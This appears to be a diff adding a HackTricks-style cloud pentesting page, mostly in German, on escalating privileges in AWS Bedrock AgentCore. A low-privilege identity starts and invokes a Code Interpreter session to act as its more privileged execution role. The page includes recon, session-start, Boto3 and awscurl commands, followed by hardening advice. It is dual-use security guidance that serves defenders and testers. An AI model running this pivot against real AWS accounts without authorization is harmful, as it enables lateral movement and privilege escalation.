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@@ -0,0 +1,113 @@
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# AWS - Bedrock PrivEsc
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{{#include ../../../../banners/hacktricks-training.md}}
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## Amazon Bedrock AgentCore
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### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
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Der AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, das „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“.
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Wenn ein **IAM-Principal mit geringeren Rechten** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten Execution-Rolle** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der Execution-Rolle pivoten** (lateral movement / privilege escalation abhängig vom Umfang der Rolle).
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> [!NOTE]
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> Dies ist typischerweise ein **Fehlkonfiguration / übermäßige Berechtigungen**-Problem (zu weite Rechte für die Interpreter-Execution-Rolle und/oder zu breite Invoke-Rechte).
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> AWS warnt explizit davor, Privilegieneskalation zu vermeiden, indem Execution-Rollen **gleich viele oder weniger** Rechte haben als die Identitäten, denen Invoke erlaubt ist.
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#### Preconditions (common misconfiguration)
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- Ein **custom code interpreter** existiert mit einer überprivilegierten **Execution-Rolle** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten).
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- Ein Benutzer (Entwickler/Auditor/CI-Identität) hat Berechtigungen für:
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- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
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- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
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- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach organisatorischen Richtlinien einen neuen Interpreter mit einer Execution-Rolle zu erstellen).
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#### Recon (identify custom interpreters and execution role usage)
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Interpreter auflisten (control-plane) und deren Konfiguration prüfen:
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```bash
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aws bedrock-agentcore-control list-code-interpreters
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aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
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````
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> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, das definiert, welche AWS-Berechtigungen der Interpreter haben wird.
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#### Schritt 1 - Eine Session starten (dies gibt eine `sessionId` zurück, not an interactive shell)
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```bash
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SESSION_ID=$(
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aws bedrock-agentcore start-code-interpreter-session \
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--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
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--name "arte-oussama" \
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--query sessionId \
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--output text
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)
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echo "SessionId: $SESSION_ID"
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```
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#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signed HTTPS)
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Es gibt **keine interaktive python-Shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**.
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**Option A - Boto3 Beispiel (Python ausführen + Identität prüfen):**
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```python
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import boto3
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client = boto3.client("bedrock-agentcore", region_name="<REGION>")
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# Execute python inside the Code Interpreter session
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resp = client.invoke_code_interpreter(
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codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
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sessionId="<SESSION_ID>",
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name="executeCode",
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arguments={
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"language": "python",
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"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
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}
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)
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# Response is streamed; print events for visibility
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for event in resp.get("stream", []):
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print(event)
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```
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Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des niedrig privilegierten Aufrufers), was den Pivot demonstriert.
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**Option B - Signierter HTTPS-Aufruf (awscurl):**
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```bash
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awscurl -X POST \
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"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
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-H "Content-Type: application/json" \
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-H "Accept: application/json" \
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-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
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--service bedrock-agentcore \
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--region <Region> \
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-d '{
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"name": "executeCode",
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"arguments": {
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"language": "python",
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"code": "print(\"Hello from AgentCore\")"
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}
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}'
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```
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#### Auswirkungen
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* **Lateral movement** in jeden AWS-Zugriff, den die interpreter execution role hat.
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* **Privilege escalation** wenn die interpreter execution role privilegierter ist als der Aufrufer.
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* Schwerer zu erkennen, wenn CloudTrail data events für interpreter-Aufrufe nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise standardmäßig nicht protokolliert).
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#### Gegenmaßnahmen / Härtung
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* **Least privilege** auf der interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles).
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* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sitzungen starten kann.
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* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Org-Ebene kann notwendig sein).
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* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten Aufrufen und bei Erstellung von Sessions.
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## References
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- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
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- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
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- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
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- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
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- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
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- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
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